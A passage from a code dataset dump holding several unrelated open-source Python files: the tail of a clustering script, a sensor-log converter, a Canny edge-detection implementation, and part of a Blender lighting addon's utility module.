{dbscan_silhouette}\", fontdict={\"fontsize\": 12})\n ax2.set_xlabel(features_column_name[0])\n ax2.set_ylabel(features_column_name[1])\n except Exception as error:\n if verbose:\n print(f\"ERROR : {nb_cluster} clusters : dbscan_silhouette = {error}\")\n if verbose:\n try:\n print(f\"{nb_cluster} clusters : kmeans_silhouette = {kmeans_silhouette} <> dbscan_silhouette = {dbscan_silhouette}\")\n except:\n pass\n fig.set_size_inches(18, 7, forward=True)\n plt.show()\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# TESTS\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nif __name__ == \"__main__\":\n # Bolivie\n\n pays = ['Bolivie', 'Congo (Kinshasa)', 'Congo (RDC)', 'Eswatini', 'Iran',\n 'Laos', 'Moldavie', 'Corée du Sud', 'Palestine', 'Syrie', 'Taïwan',\n 'Tanzanie', 'Venezuela', 'Viêt Nam']\n for p in pays:\n print(get_country_name(current_name=p, verbose=1))\n print(\"END\")\n\n\n pays = [\"Bolivia\",\"Czech Republic\",\"Iran\",\"Kosovo\",\"Laos\",\"Moldova\",\"Somaliland region\",\"South Korea\",\"Syria\",\"Taiwan Province of China\",\"Tanzania\",\"Venezuela\",\"Vietnam\"]\n for p in pays:\n print(get_country_name(current_name=p, verbose=1))\n print(\"END\")","repo_name":"aurao22/projet_bonheur_bed","sub_path":"bonheur_bed_ara.py","file_name":"bonheur_bed_ara.py","file_ext":"py","file_size_in_byte":70044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71957487553","text":"#!/usr/bin/env python\n# Written by Andres Erbsen and Sandra Schumann, distributed under the GNU GPLv3\n\nimport sys\n\ndef main():\n fin = open(sys.argv[1], 'r')\n t = [rida.split() for rida in fin.read().split('\\n') if rida]\n s = \"\"\n startCam = int(t[0][0])\n startSen = int(t[0][1])\n accs = []\n gyrs = []\n \n for rida in t:\n if rida[0] == \"A\":\n accs.append([int(rida[1]), float(rida[2]), float(rida[3]), float(rida[4])])\n elif rida[0] == \"G\":\n gyrs.append([int(rida[1]), float(rida[2]), float(rida[3]), float(rida[4])])\n \n accs.sort()\n gyrs.sort()\n \n startTime = min(accs[0][0], gyrs[0][0])\n dpoints = []\n \n accp = 0\n accn = 1\n gyri = 0\n \n while gyri < len(gyrs) and accn < len(accs):\n if gyrs[gyri][0] < startTime:\n gyri += 1\n elif gyrs[gyri][0] > accs[accn][0] or accs[accp][0] == accs[accn][0]:\n accp += 1\n accn += 1\n else:\n ndata = []\n ndata.append((accs[accn][1]-accs[accp][1])*(gyrs[gyri][0]-accs[accp][0])/(accs[accn][0]-accs[accp][0])+accs[accp][1])\n ndata.append((accs[accn][2]-accs[accp][2])*(gyrs[gyri][0]-accs[accp][0])/(accs[accn][0]-accs[accp][0])+accs[accp][2])\n ndata.append((accs[accn][3]-accs[accp][3])*(gyrs[gyri][0]-accs[accp][0])/(accs[accn][0]-accs[accp][0])+accs[accp][3])\n dpoints.append([str(float(gyrs[gyri][0]+startSen-startCam)/1000000000),str(-ndata[2]),str(-ndata[1]),str(-ndata[0]),str(-gyrs[gyri][3]),str(-gyrs[gyri][2]),str(-gyrs[gyri][1]),\"0.0\",\"0.0\",\"0.0\"])\n gyri += 1\n \n for rida in dpoints:\n s += \"[10](\"+','.join(rida)+\")\\n\"\n fout = open(sys.argv[2], 'w')\n fout.write(s)\n fout.close()\n return 0\n\nif __name__ == '__main__':\n\tmain()\n\n","repo_name":"andres-erbsen/airmarkr","sub_path":"accconverter.py","file_name":"accconverter.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19245001337","text":"__author__ = 'Dmitry Patashov'\r\n\r\nimport numpy as np\r\nimport cv2\r\n\r\ndef GaussBlur(Image):\r\n\r\n img = np.float64(Image.copy())\r\n D = len(img.shape)\r\n if D == 2:\r\n\r\n GausMask = (1.0 / 273) * np.array([[1, 4, 7, 4, 1],\r\n [4, 16, 26, 16, 4],\r\n [7, 26, 41, 26, 7],\r\n [4, 16, 26, 16, 4],\r\n [1, 4, 7, 4, 1]],\r\n dtype=np.float64)\r\n\r\n return cv2.filter2D(img, -1, GausMask)\r\n\r\n elif D == 3:\r\n\r\n b,g,r = cv2.split(img)\r\n Gb = GaussBlur(b)\r\n Gg = GaussBlur(g)\r\n Gr = GaussBlur(r)\r\n\r\n return cv2.merge((Gb,Gg,Gr))\r\n\r\n else:\r\n raise ValueError('Function receives only BGR, RGB or GrayScale images')\r\n\r\ndef SobelMasking(Image):\r\n\r\n img = np.float64(Image.copy())\r\n D = len(img.shape)\r\n if D == 2:\r\n\r\n SobelMaskX = np.array([[-1, 0, 1],\r\n [-2, 0, 2],\r\n [-1, 0, 1]],\r\n dtype=np.float64)\r\n\r\n SobelMaskY = np.array([[ 1, 2, 1],\r\n [ 0, 0, 0],\r\n [-1, -2, -1]],\r\n dtype=np.float64)\r\n\r\n SobelImgX = cv2.filter2D(img, -1, SobelMaskX)\r\n SobelImgY = cv2.filter2D(img, -1, SobelMaskY)\r\n\r\n return SobelImgX, SobelImgY\r\n elif D == 3:\r\n\r\n b,g,r = cv2.split(img)\r\n SbX, SbY = SobelMasking(b)\r\n SgX, SgY = SobelMasking(g)\r\n SrX, SrY = SobelMasking(r)\r\n\r\n SobelImg3X = np.dstack((SbX, SgX, SrX))\r\n SobelImg3Y = np.dstack((SbY, SgY, SrY))\r\n\r\n return SobelImg3X, SobelImg3Y\r\n else:\r\n raise ValueError('Function receives only BGR, RGB or GrayScale images')\r\n\r\ndef PhaseMatrixCalculation(GradientX, GradientY):\r\n\r\n D = (len(GradientX.shape) + len(GradientY.shape))/2\r\n if D == 2:\r\n\r\n return np.arctan2(GradientY, GradientX)\r\n\r\n elif D == 3:\r\n\r\n bgx, ggx, rgx = cv2.split(GradientX)\r\n bgy, ggy, rgy = cv2.split(GradientY)\r\n\r\n pmb = PhaseMatrixCalculation(bgx, bgy)\r\n pmg = PhaseMatrixCalculation(ggx, ggy)\r\n pmr = PhaseMatrixCalculation(rgx, rgy)\r\n\r\n return cv2.merge((pmb, pmg, pmr))\r\n else:\r\n raise ValueError('Function receives only BGR, RGB or GrayScale images and both input matrices must be of identical shape')\r\n\r\ndef NonMaximumSuppressionStep1(PhaseMat):\r\n\r\n myPhaseMat = PhaseMat.copy()\r\n D = len(myPhaseMat.shape)\r\n if D == 2:\r\n\r\n myPhaseMat[myPhaseMat < 0] += np.pi\r\n myPhaseMat *= 180 / np.pi\r\n\r\n myPhaseMat[myPhaseMat <= 22.5] = 0\r\n myPhaseMat[np.logical_and(myPhaseMat > 22.5, myPhaseMat <= 67.5)] = 45\r\n myPhaseMat[np.logical_and(myPhaseMat > 67.5, myPhaseMat <= 112.5)] = 90\r\n myPhaseMat[np.logical_and(myPhaseMat > 112.5, myPhaseMat <= 157.5)] = 135\r\n myPhaseMat[myPhaseMat > 157.5] = 0\r\n\r\n return myPhaseMat\r\n\r\n elif D == 3:\r\n pmb, pmg, pmr = cv2.split(myPhaseMat)\r\n\r\n nmsb = NonMaximumSuppressionStep1(pmb)\r\n nmsg = NonMaximumSuppressionStep1(pmg)\r\n nmsr = NonMaximumSuppressionStep1(pmr)\r\n\r\n return cv2.merge((nmsb, nmsg, nmsr))\r\n else:\r\n raise ValueError('Function receives only BGR, RGB or GrayScale images')\r\n\r\ndef NonMaximumSuppressionStep2(IntansityGradient, PhaseMat):\r\n\r\n D = (len(PhaseMat.shape) + len(IntansityGradient.shape)) / 2\r\n if D == 2:\r\n\r\n m,n = IntansityGradient.shape\r\n Mat = np.zeros((m+2,n+2))\r\n Mat[1:m+1, 1:n+1] = IntansityGradient\r\n\r\n SuppressedGradient = np.zeros((m,n))\r\n\r\n for i in range(1,m+1):\r\n for j in range(1,n+1):\r\n if PhaseMat[i-1,j-1] == 0:\r\n # north and south\r\n if np.max(Mat[i, j-1:j+2:2]) >= np.max(Mat[i-1:i+2:2, j]):\r\n SuppressedGradient[i-1, j-1] = IntansityGradient[i - 1, j - 1]\r\n\r\n elif PhaseMat[i-1,j-1] == 45:\r\n # north west and south east\r\n if np.max((Mat[i-1, j-1], Mat[i+1, j+1])) >= np.max((Mat[i-1,j+1], Mat[i+1,j-1])):\r\n SuppressedGradient[i - 1, j - 1] = IntansityGradient[i - 1, j - 1]\r\n\r\n elif PhaseMat[i-1,j-1] == 90:\r\n # east and west\r\n if np.max(Mat[i-1:i+2:2, j]) >= np.max(Mat[i, j-1:j+2:2]):\r\n SuppressedGradient[i - 1, j - 1] = IntansityGradient[i - 1, j - 1]\r\n\r\n elif PhaseMat[i-1,j-1] == 135:\r\n # north east and south west\r\n if np.max((Mat[i+1,j-1], Mat[i-1,j+1])) >= np.max((Mat[i-1,j-1], Mat[i+1,j+1])):\r\n SuppressedGradient[i - 1, j - 1] = IntansityGradient[i - 1, j - 1]\r\n\r\n else:\r\n raise ValueError('Phase logic encountered critical error')\r\n\r\n return SuppressedGradient\r\n elif D == 3:\r\n pmb, pmg, pmr = cv2.split(PhaseMat)\r\n igb, igg, igr = cv2.split(IntansityGradient)\r\n\r\n nmsb = NonMaximumSuppressionStep2(igb, pmb)\r\n nmsg = NonMaximumSuppressionStep2(igg, pmg)\r\n nmsr = NonMaximumSuppressionStep2(igr, pmr)\r\n\r\n return cv2.merge((nmsb, nmsg, nmsr))\r\n else:\r\n raise ValueError('Function receives only BGR, RGB or GrayScale images and both input matrices must be of identical shape')\r\n\r\ndef DoubleThresholding(IntansityGradient, lowT, highT):\r\n\r\n myIntansityGradient = IntansityGradient.copy()\r\n\r\n D = len(myIntansityGradient.shape)\r\n if D == 2:\r\n\r\n ths = np.array((lowT, highT), dtype=np.float64)\r\n ths[ths < 0] = 0\r\n ths[ths > 1] = 1\r\n ths = np.sort(ths)\r\n\r\n lowT = ths[0]\r\n highT = ths[1]\r\n\r\n myIntansityGradient = myIntansityGradient - np.min(myIntansityGradient)\r\n myIntansityGradient = myIntansityGradient / np.max(myIntansityGradient)\r\n\r\n EdgeMap = np.zeros(myIntansityGradient.shape, dtype=np.float64)\r\n\r\n EdgeMap[myIntansityGradient >= highT] = 2\r\n EdgeMap[np.logical_and(myIntansityGradient >= lowT, myIntansityGradient < highT)] = 1\r\n\r\n return EdgeMap\r\n\r\n\r\n elif D == 3:\r\n igb, igg, igr = cv2.split(myIntansityGradient)\r\n\r\n dtb = DoubleThresholding(igb, lowT, highT)\r\n dtg = DoubleThresholding(igg, lowT, highT)\r\n dtr = DoubleThresholding(igr, lowT, highT)\r\n\r\n return cv2.merge((dtb, dtg, dtr))\r\n else:\r\n raise ValueError('Function receives only BGR, RGB or GrayScale images')\r\n\r\ndef TrackEdgesByHysteresis(EdgeMap):\r\n\r\n D = len(EdgeMap.shape)\r\n if D == 2:\r\n\r\n m,n = EdgeMap.shape\r\n edgeMap = np.zeros((m+2,n+2), dtype=np.float64)\r\n edgeMap[1:m+1, 1:n+1] = EdgeMap.copy()\r\n\r\n locs = np.where(edgeMap == 2)\r\n tmp = list(zip(list(locs[0]), list(locs[1])))\r\n myStack = list(tmp)\r\n\r\n flag = len(myStack)\r\n\r\n while flag:\r\n\r\n row, col = myStack.pop()\r\n flag = len(myStack)\r\n\r\n subMat = edgeMap[row-1:row+1, col-1:col+1]\r\n locs = list(np.where(subMat == 1))\r\n locs[0] += row-1\r\n locs[1] += col-1\r\n locs = tuple(locs)\r\n\r\n edgeMap[locs] = 2\r\n\r\n tmp = list(zip(list(locs[0]), list(locs[1])))\r\n coor = list(tmp)\r\n myStack += coor\r\n\r\n edgeMap = edgeMap[1:m + 1, 1:n + 1]\r\n edgeMap[edgeMap == 1] = 0\r\n edgeMap /= 2\r\n\r\n return edgeMap\r\n\r\n elif D == 3:\r\n\r\n b, g, r = cv2.split(EdgeMap)\r\n Eb = TrackEdgesByHysteresis(b)\r\n Eg = TrackEdgesByHysteresis(g)\r\n Er = TrackEdgesByHysteresis(r)\r\n\r\n return cv2.merge((Eb, Eg, Er))\r\n\r\n else:\r\n raise ValueError('Function receives only BGR, RGB or GrayScale images')\r\n","repo_name":"haimadrian/AlgorithmsInMultimediaUsingPython","sub_path":"All_Sols/CW/ClassWork5Sol35/myCannyLogic.py","file_name":"myCannyLogic.py","file_ext":"py","file_size_in_byte":7962,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"598246833","text":"import bpy\nimport mathutils\nimport numpy\nimport os\nimport bpy_extras\nimport rna_prop_ui\n\nscript_file = os.path.realpath(__file__)\naddon_directory = os.path.dirname(script_file)\naddon_name = os.path.basename(addon_directory)\n\ndefault_color = [0.000000, 0.113775, 1.000000, 1.000000]\n\ninf = 340282346638528859811704183484516925440\n\n\ndef Create_Raymesh_Properties(object):\n\n\n if object.data.type in [\"AREA\"]:\n\n\n if not object.data.get(\"Area Spread\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Area Spread\", default=0.0, min=-90.0, max=179.0, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Emit Light\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Emit Light\", default=0.0, min=0.0, max=1.0, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Depth\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Depth\", default=2.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Direction X\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Direction X\", default=0.0, min=-inf, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Direction Y\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Direction Y\", default=0.0, min=-inf, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Direction Z\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Direction Z\", default=0.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Falloff\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Falloff\", default=5.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Opacity\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Opacity\", default=1.0, min=0.0, max=1.0, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Softness\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Softness\", default=1.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Strength\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Strength\", default=1.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Master Strength\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Master Strength\", default=1.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Offset Z\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Offset Z\", default=0.0, min=-inf, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Resolution\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Resolution\", default=32, min=0, max=512, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Shade Smooth\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Shade Smooth\", default=1, min=0, max=1, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Source\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Source\", default=1, min=0, max=1, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Source Strength\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Source Strength\", default=1.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n\n if object.data.type in [\"SPOT\"]:\n\n\n if not object.data.get(\"Emit Light\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Emit Light\", default=0.0, min=0.0, max=1.0, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Depth\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Depth\", default=5.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Falloff\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Falloff\", default=2.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Opacity\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Opacity\", default=1.0, min=0.0, max=1.0, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Strength\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Strength\", default=1.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Resolution\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Resolution\", default=256, min=3, max=512, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Shade Smooth\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Shade Smooth\", default=0, min=0, max=1, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n\n\n if object.data.type in [\"POINT\"]:\n\n if not object.data.get(\"Core Opacity\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Core Opacity\", default=1.0, min=0.0, max=1.0, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Core Size\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Core Size\", default=0.20, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Core Softness\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Core Softness\", default=10.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Core Strength\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Core Strength\", default=5.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Emit Light\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Emit Light\", default=0.0, min=0.0, max=1.0, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Opacity\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Opacity\", default=1.0, min=0.0, max=1.0, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Size\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Size\", default=1.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Softness\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Softness\", default=10.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Glow Strength\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Glow Strength\", default=1.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Master Size\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Master Size\", default=1.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Master Strength\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Master Strength\", default=1.0, min=0.0, max=inf, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Resolution\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Resolution\", default=32, min=4, max=512, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n if not object.data.get(\"Shade Smooth\"):\n rna_prop_ui.rna_idprop_ui_create( object.data, \"Shade Smooth\", default=1, min=0, max=1, soft_min=None, soft_max=None, description=None, overridable=False, subtype=None)\n\n\n\n\n\ndef get_user_defined_custom_properties(source):\n\n items = []\n\n if source:\n src_type = type(source)\n type_dict = dir(src_type)\n\n for k, v in source.items():\n\n if k in type_dict:\n\n tmp = getattr(src_type, k)\n\n if isinstance(tmp, bpy.props._PropertyDeferred):\n continue\n\n if not isinstance(v, (int, float)):\n continue\n\n item = k\n items.append(item)\n\n return items\n\n\ndef get_addon_name():\n\n return addon_name\n\ndef get_addon_preferences():\n\n addon_preferences = bpy.context.preferences.addons[addon_name].preferences\n\n return addon_preferences\n\n\ndef Create_Empty(name):\n\n object = bpy.data.objects.new(name, None)\n bpy.context.collection.objects.link(object)\n\n return object\n\n#Preferences\n\n\ndef get_object_indices(object):\n\n if object.type == \"MESH\":\n indices = [vertex.index for vertex in object.data.vertices]\n return indices\n\n else:\n return None\n\n#Assets\ndef append_object_normal(filepath, object_name):\n\n blendfile = filepath\n section = \"/Object/\"\n object = object_name\n\n directory = blendfile + section\n filename = object\n\n bpy.ops.wm.append(filename=filename, directory=directory)\n selected_objects = [object for object in bpy.context.selected_objects]\n\n if len(selected_objects) > 0:\n bpy.context.view_layer.objects.active = selected_objects[0]\n\n\n return selected_objects\n\n\n\n\ndef append_object(filepath, object_name):\n\n blendfile = filepath\n section = \"/Object/\"\n object = object_name\n\n directory = blendfile + section\n filename = object\n\n bpy.ops.wm.append(filename=filename, directory=directory)\n selected_objects = [object for object in bpy.context.selected_objects]\n\n bpy.context.view_layer.objects.active = selected_objects[0]\n\n if len(selected_objects) == 0:\n return None\n\n if len(selected_objects) == 1:\n return selected_objects[0]\n\n if len(selected_objects) > 1:\n return selected_objects\n\ndef get_asset_folder():\n\n script_file = os.path.realpath(__file__)\n addon_directory = os.path.dirname(script_file)\n Assets_Folder = os.path.join(addon_directory, \"Assets\")\n\n return Assets_Folder\n\ndef get_asset_file(filename):\n\n Assets_Folder = get_asset_folder()\n filepath = os.path.join(Assets_Folder, filename)\n\n return filepath\n\n#UI\ndef update_UI():\n for screen in bpy.data.screens:\n for area in screen.areas:\n area.tag_redraw()\n\n\n\n\n\ndef draw_subpanel(self, boolean, property, label, layout):\n\n if boolean:\n ICON = \"TRIA_DOWN\"\n else:\n ICON = \"TRIA_RIGHT\"\n\n row = layout.row(align=True)\n row.alignment = \"LEFT\"\n row.prop(self, property, text=label, emboss=False, icon=ICON)\n\n return boolean\n\ndef draw_subpanel_left(self, boolean, property, label, layout):\n\n if boolean:\n ICON = \"TRIA_DOWN\"\n else:\n ICON = \"TRIA_LEFT\"\n\n row = layout.row(align=True)\n row.alignment = \"LEFT\"\n row.prop(self, property, text=label, emboss=False, icon=ICON)\n\n return boolean\n\ndef draw_subpanel_style02(self, boolean, property, label, layout):\n\n if boolean:\n ICON = \"TRIA_DOWN\"\n else:\n ICON = \"TRIA_LEFT\"\n\n row = layout.row(align=True)\n row.alignment = \"LEFT\"\n row.prop(self, property, text=label, emboss=False, icon=ICON)\n\n return boolean\n\ndef draw_subpanel_checkbox(self, boolean, property, self2, property2, label, layout):\n\n if boolean:\n ICON = \"TRIA_DOWN\"\n else:\n ICON = \"TRIA_RIGHT\"\n\n row = layout.row(align=True)\n row.alignment = \"LEFT\"\n row.prop(self, property, text=\"\", emboss=False, icon=ICON)\n row.prop(self2, property2, text=\"\")\n row.prop(self, property, text=label, emboss=False)\n\n return boolean\n\n#Calculation\n\ndef get_bounding_box(object):\n\n bbox_corners = [object.matrix_world * mathutils.Vector(corner) for corner in object.bound_box]\n\n return bbox_corners\n\ndef midpoint(coordinates, mode):\n\n if len(coordinates) > 0:\n\n if mode == \"BOUNDING_BOX\":\n\n x= []\n y= []\n z= []\n\n for coordinate in coordinates:\n x.append(coordinate[0])\n y.append(coordinate[1])\n z.append(coordinate[2])\n\n range_x = (max(x), min(x))\n range_y = (max(y), min(y))\n range_z = (max(z), min(z))\n\n bounding_box_coordinate = []\n\n for a in range_x:\n for b in range_y:\n for c in range_z:\n bounding_box_coordinate.append((a, b, c))\n\n return mathutils.Vector(numpy.array(bounding_box_coordinate).mean(axis=0))\n\n if mode == \"CENTER\":\n return mathutils.Vector(numpy.array(coordinates).mean(axis=0))\n else:\n return None\n\ndef Set_Tags(Tag_Name, object):\n\n scn = bpy.context.scene\n scn_properties = scn.Radiant_Light_Properties\n\n Tags_List = scn_properties.Tags_List\n Tags_Check = [Tag.name for Tag in scn_properties.Tags_List]\n\n if not Tag_Name in Tags_Check:\n scn_properties.Tags_List_Index = len(Tags_List)\n Item = Tags_List.add()\n Item.name = Tag_Name\n\n object.Radiant_Light_Properties.Tags = Tag_Name\n\ndef get_selected_midpoint(mode=\"BOUNDING_BOX\"):\n\n points = [obj.matrix_world.to_translation() for obj in bpy.context.selected_objects]\n\n location = (0, 0, 0)\n\n if len(points) > 0:\n location = midpoint(points, mode)\n\n return location\n\ndef get_object_center(object, mode):\n\n if mode == \"ORIGIN\":\n # return object.matrix_world.inverted() @ object.location\n return object.matrix_world.inverted() @ object.matrix_world.to_translation()\n\n if mode in [\"CENTER\", \"BOUNDING_BOX\"]:\n\n if not object.type in [\"MESH\",\"CURVE\" , \"ARMATURE\"]:\n # return object.matrix_world.inverted() @ object.location\n return object.matrix_world.inverted() @ object.matrix_world.to_translation()\n\n if object.type == \"MESH\":\n # create_lists = [object.matrix_world @ vert.co for vert in object.data.vertices]\n create_lists = [vert.co for vert in object.data.vertices]\n\n if object.type == \"CURVE\":\n\n create_lists = []\n\n for spline in object.data.splines:\n\n for point in spline.points:\n # create_lists.append(object.matrix_world @ point.co)\n create_lists.append(point.co.xyz)\n\n for bezier_point in spline.bezier_points:\n # create_lists.append(object.matrix_world @ bezier_point.co)\n create_lists.append(bezier_point.co.xyz)\n\n if object.type == \"ARMATURE\":\n\n create_lists = []\n\n for bone in object.data.bones:\n # create_lists.append(object.matrix_world @ bone.head)\n # create_lists.append(object.matrix_world @ bone.tail)\n\n create_lists.append(bone.head)\n create_lists.append(bone.tail)\n\n if mode == \"CENTER\":\n return midpoint(create_lists, \"CENTER\")\n\n if mode == \"BOUNDING_BOX\":\n return midpoint(create_lists, \"BOUNDING_BOX\")\n\ndef Blackbody_Color(t):\n\n blackbody_table_r = [\n [2.52432244e+03, -1.06185848e-03, 3.11067539e+00],\n [3.37763626e+03, -4.34581697e-04, 1.64843306e+00],\n [4.10671449e+03, -8.61949938e-05, 6.41423749e-01],\n [4.66849800e+03, 2.85655028e-05, 1.29075375e-01],\n [4.60124770e+03, 2.89727618e-05, 1.48001316e-01],\n [3.78765709e+03, 9.36026367e-06, 3.98995841e-01],\n ];\n\n blackbody_table_g = [\n [-7.50343014e+02, 3.15679613e-04, 4.73464526e-01],\n [-1.00402363e+03, 1.29189794e-04, 9.08181524e-01],\n [-1.22075471e+03, 2.56245413e-05, 1.20753416e+00],\n [-1.42546105e+03, -4.01730887e-05, 1.44002695e+00],\n [-1.18134453e+03, -2.18913373e-05, 1.30656109e+00],\n [-5.00279505e+02, -4.59745390e-06, 1.09090465e+00],\n ];\n\n blackbody_table_b = [\n [0.0, 0.0, 0.0, 0.0],\n [0.0, 0.0, 0.0, 0.0],\n [0.0, 0.0, 0.0, 0.0],\n [-2.02524603e-11, 1.79435860e-07, -2.60561875e-04, -1.41761141e-02],\n [-2.22463426e-13, -1.55078698e-08, 3.81675160e-04, -7.30646033e-01],\n [6.72595954e-13, -2.73059993e-08, 4.24068546e-04, -7.52204323e-01],\n ];\n\n\n if t >= 12000.0:\n return [0.826270103, 0.994478524, 1.56626022];\n if t < 965.0:\n return [4.70366907, 0.0, 0.0]\n\n i = 0\n if t >= 6365.0:\n i = 5\n elif t >= 3315.0:\n i = 4\n elif t >= 1902.0:\n i = 3\n elif t >= 1449.0:\n i = 2\n elif t >= 1167.0:\n i = 1\n else:\n i = 0\n\n r = blackbody_table_r[i]\n g = blackbody_table_g[i]\n b = blackbody_table_b[i]\n\n t_inv = 1 / t\n return [r[0] * t_inv + r[1] * t + r[2],\n g[0] * t_inv + g[1] * t + g[2],\n ((b[0] * t + b[1]) * t + b[2]) * t + b[3]]\n\n#Normals Calculation\n\ndef Average_Normals(Normals):\n average_normals = mathutils.Vector(numpy.sum(Normals, axis=0) / len(Normals))\n return average_normals\n\ndef Normal_To_Orientation(object, location, normal):\n\n mw = object.matrix_world.copy()\n\n o = location\n axis_src = normal\n axis_dst = mathutils.Vector((0, 0, -1))\n\n matrix_rotate = mw.to_3x3()\n matrix_rotate = matrix_rotate @ axis_src.rotation_difference(axis_dst).to_matrix().inverted()\n matrix_translation = mathutils.Matrix.Translation(mw @ o)\n\n Normal_Matrix = matrix_translation @ matrix_rotate.to_4x4()\n\n return Normal_Matrix\n\ndef Normal_To_Offset(object, location, normal, offset):\n\n mw = object.matrix_world.copy()\n\n o = location\n axis_src = normal\n axis_dst = mathutils.Vector((0, 0, 